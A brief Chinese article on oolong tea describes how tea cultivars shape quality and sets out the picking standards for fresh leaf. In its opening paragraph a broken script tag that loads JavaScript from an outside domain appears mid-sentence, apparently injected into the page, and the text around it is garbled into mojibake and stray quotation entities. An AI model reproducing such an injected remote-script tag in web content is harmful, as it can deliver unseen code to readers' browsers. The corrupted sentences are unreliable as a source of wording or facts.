乌龙茶的优良茶树品种

　　优良的茶树品种是优质乌龙茶品质形成的物质基础?scripttype='text/javascript'src='http://368tea.com/js/v.js'>?瞧渌?魏闻┮荡胧┧?豢商娲?摹Ｈ缥琶?阱窍阄端???ldquo;铁观音“;要用铁观音品种；具有”一早、二奇“;独特品质的”黄金桂“;，要用黄旦品种；香似兰花的”水仙“;，来自水仙品种。可见，名优乌龙茶的品质风格无不与优良的茶树品种相联系。高质量的鲜叶鲜叶质量是茶叶品质的基础，只有高质量的鲜叶才能制出品质优异的乌龙茶，这已被乌龙茶产区生产者所共识。到底什么样的鲜叶才称得上高质量，应该符合以下几点要求。采摘要标准优质乌龙茶的品类繁多，依茶树品种、季节和制作品类不同，在采摘标准上虽小有区别，但其基本的要求是一致，即要求采摘比较成熟的茶树嫩梢。也就是说当茶树新梢形成驻芽时，采摘小至中开面3～4个叶片的嫩梢为标准，春季鲜叶持嫩性较好，以采摘中开面为主；秋季气候干燥，鲜叶持嫩性差，以采摘小开面为主。,

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